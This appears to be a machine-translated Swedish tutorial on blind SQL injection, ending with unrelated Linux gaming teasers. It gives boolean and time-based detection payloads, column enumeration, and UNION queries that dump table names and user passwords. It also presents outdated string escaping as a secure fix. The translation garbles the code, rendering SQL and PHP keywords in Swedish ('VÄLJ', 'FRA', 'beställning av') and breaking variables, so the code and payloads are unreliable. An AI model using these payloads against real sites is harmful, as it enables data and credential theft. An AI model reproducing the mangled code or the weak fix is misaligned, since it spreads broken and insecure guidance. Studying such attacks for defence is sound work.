säkerhet

Blind SQL Injection Techniques Tutorial

Blind SQL Injection Techniques Tutorial

Vad är SQL Injection?

SQL Injection är en typ av databasattack där en angripare försöker stjäla information från en webbapplikations databas. Detta kan till och med leda till fjärrkörning av kod beroende på webbapplikationsmiljö och databasversion.

SQL-injektion sker på grund av dålig sanering av användarinmatningen. Om du tar in input från användaren på något kodningsspråk (PHP, ASP.NET) och skicka den direkt till serverns databas utan att använda något filter på ingången, detta kan leda till SQL Injection-sårbarhet.

Till exempel är följande PHP-kod sårbar för SQL Injection-attack eftersom den direkt skickar användarinmatningen till databasen. Attacker kan skapa sin egen skadliga databasfråga för att extrahera data från databasen.

// Användarinmatningen lagras i id-variabeln
$ id = $ _GET ['id'];
// Användarinmatningen körs direkt i databasen
$ getid = "VÄLJ förnamn, efternamn FRA användare VAR user_id = '$ id'";
// Vid fel eller framgång returneras resultaten till användaren
$ resultat = mysql_query ($ getid) eller dö ('
'' . mysql_error () . ''
');
$ num = mysql_numrows ($ resultat);

Å andra sidan ges ett säkert exempel på sådan kod för att interagera med databasen. Det tar användarinmatning och filtrerar alla skadliga tecken från det och skickar det sedan till databasen.

$ id = $ _GET ['id'];
$ id = stripslashes ($ id);
$ id = mysql_real_escape_string ($ id);

Normal vs blind SQL-injektion

Normal SQL-injektion

Om en angripare försöker ange en enda offert (') som inmatning i normal SQL-injektion, svarar databasen med ett fel när den här enkla offerten körs. Felet skrivs ut i angriparens webbläsare.

Koden som är ansvarig för detta fel är

// om databasen svarar med ett fel, körs funktionen "eller die ()"
för att skriva ut felet
$ resultat = mysql_query ($ getid) eller dö ('
'' . mysql_error () . ''
');

I Normal SQL Injection kan angriparen se felresultaten och det är lätt att identifiera och utnyttja.

Blind SQL-injektion

När det gäller blind SQL-injektion, när en skadlig fråga som en enda offert körs, visas inte databasfelet i angriparens webbläsare eller så visas det på ett mycket generiskt sätt som inte kan identifieras och utnyttjas enkelt av angriparen.

Backend-koden som är ansvarig för detta ges nedan

$ resultat = mysql_query ($ getid); // Borttagen 'or die' för att undertrycka mysql-fel

I Blind SQL Injection kan angriparen inte se de fullständiga resultaten, därför är den här typen av SQLi svår att identifiera och utnyttja men den har samma risknivå som vid normal SQLi.

Tekniker för att upptäcka blind SQL-injektion

Medan normal SQL-injektion kan detekteras genom att skicka enstaka offert (') som inmatning och undersöka utmatningsfelet, kan blind SQL-injektion inte detekteras med denna teknik eftersom den inte visar något SQL-fel. Det finns många tekniker för att upptäcka en blind SQL-injektion, några av dem ges enligt följande

SANT och FALSKBaserad detektering

En av egenskaperna hos databaser inklusive MySQL är det olika beteendet vid sanna och falska uttalanden. Även om databasen inte visar några fel kan vi välja att använda sanna och falska uttalanden. Tänk på följande scenario,

Följande sida är sårbar för Blind SQL-injektion, vilket ger den ett riktigt uttalande kommer att visa alla poster i databasen

1 'eller 1 = 1 #

Att ge en falsk fråga som inmatning visar inga data.

1 'eller 1 = 2 #

Till och med webbsidan visar inga fel, skillnaden mellan de två sidorna säger att våra frågor framgångsrikt körs i databasen.

TIME-baserad detektering

Det finns en funktion i databaser inklusive MySQL, MS-SQL och andra för förseningar. Vi kan använda SLEEP () -funktionen i vår fråga om databasens svar är långsamt betyder det att vår fråga körs framgångsrikt och webbsidan är sårbar för blind SQL-injektion.

1 'OCH sömn (15) #

Det finns en annan tidskrävande funktion ”BENCHMARK” som kan användas för att fördröja databassvaret

1 'OCH BENCHMARK (10000000, SHA1 (1337)) #

Ovanstående rad kommer att utföra SHA1 () -funktionen 10000000 gånger i databasen, vilket kommer att lägga till en betydande mängd fördröjning i svaret.

Tidsbaserad blind SQL-injektion i andra databaser

MS SQL: ID = 1; vänta på fördröjning '0: 0: 10'-

ORACLE SQL: OCH [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: OCH [RANDNUM] = (VÄLJ [RANDNUM] FRÅN PG_SLEEP ([SLEEPTIME])

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Extrahera databasinformation

Det första steget med att extrahera databasen är att bestämma kolumnnummer i databasen. Försök sedan hitta sårbara kolumner för att extrahera ytterligare data.

Blind SQL Injection beter sig annorlunda med olika kolumnnummer i "ordning efter" -frågan.

1 'beställning av 1 #

Ovanstående uttalande är sant eftersom minst en kolumn alltid finns i en databas. Försök nu med ett mycket stort antal.

1 'beställning av 10000 #

Databassvaret skiljer sig från det tidigare. Försök nu med två kolumner.

Uttalandet fungerade, det betyder att databasen har två eller flera kolumner. Försök nu med 3 kolumner.

1 'beställning av 3 #

Databasen har inte skickat något svar, det betyder att databasen endast har två kolumner. Nu ska vi försöka dumpa listan över tabeller i databasen, vi använder följande fråga för det

1 'union väljer alla 1, group_concat (tabellnamn) från informationsschema.
tabeller där tabell_schema = databas () #

Det finns två tabeller i backend-databasen "gästbok & användare". Tabellen "användare" kan innehålla användarnamn och lösenord. För att extrahera kolumnnamn från tabellen, infoga följande fråga.

1 'union väljer alla 1, group_concat (column_name) från informationsschema.
kolumner där tabell_schema = databas () #

Nu har vi extraherat kolumnnamn, detta inkluderar kolumner för användare och lösenord. Dessa kolumner lagrar kundernas användarnamn och deras lösenord.

Nu försöker vi extrahera data med hjälp av följande fråga

1 'union alla väljer 1, group_concat (användare, lösenord) från användare #

Och så kan du utnyttja Blind SQL Injection utan att förlita dig på fel. Utgångslösenord hashas för det mesta, vilket kan dekrypteras med hjälp av verktyg som John The Ripper eller Hashcat.

Slutsats:

Blind SQL Injection är den typ av SQLi som inte visar databasfel eller svarar med ett mycket generiskt meddelande. Det är därför det är mycket svårt att identifiera sårbarhet för blind SQL-injektion på en webbsida. När det har upptäckts kan du enkelt utnyttja det genom manuell eller automatiserad process med SQLmap.

Hur man visar FPS-räknare i Linux-spel
Linux-spel fick ett stort tryck när Valve tillkännagav Linux-stöd för Steam-klient och deras spel 2012. Sedan dess har många AAA- och indiespel tagit ...
Hur man laddar ner och spelar Sid Meier's Civilization VI på Linux
Introduktion till spelet Civilization 6 är ett modernt intag av det klassiska konceptet som introducerades i serien Age of Empires-spel. Idén var gans...
Hur man installerar och spelar Doom på Linux
Introduktion till Doom Doom-serien har sitt ursprung på 90-talet efter att den ursprungliga Doom släpptes. Det blev en omedelbar hit och från den tide...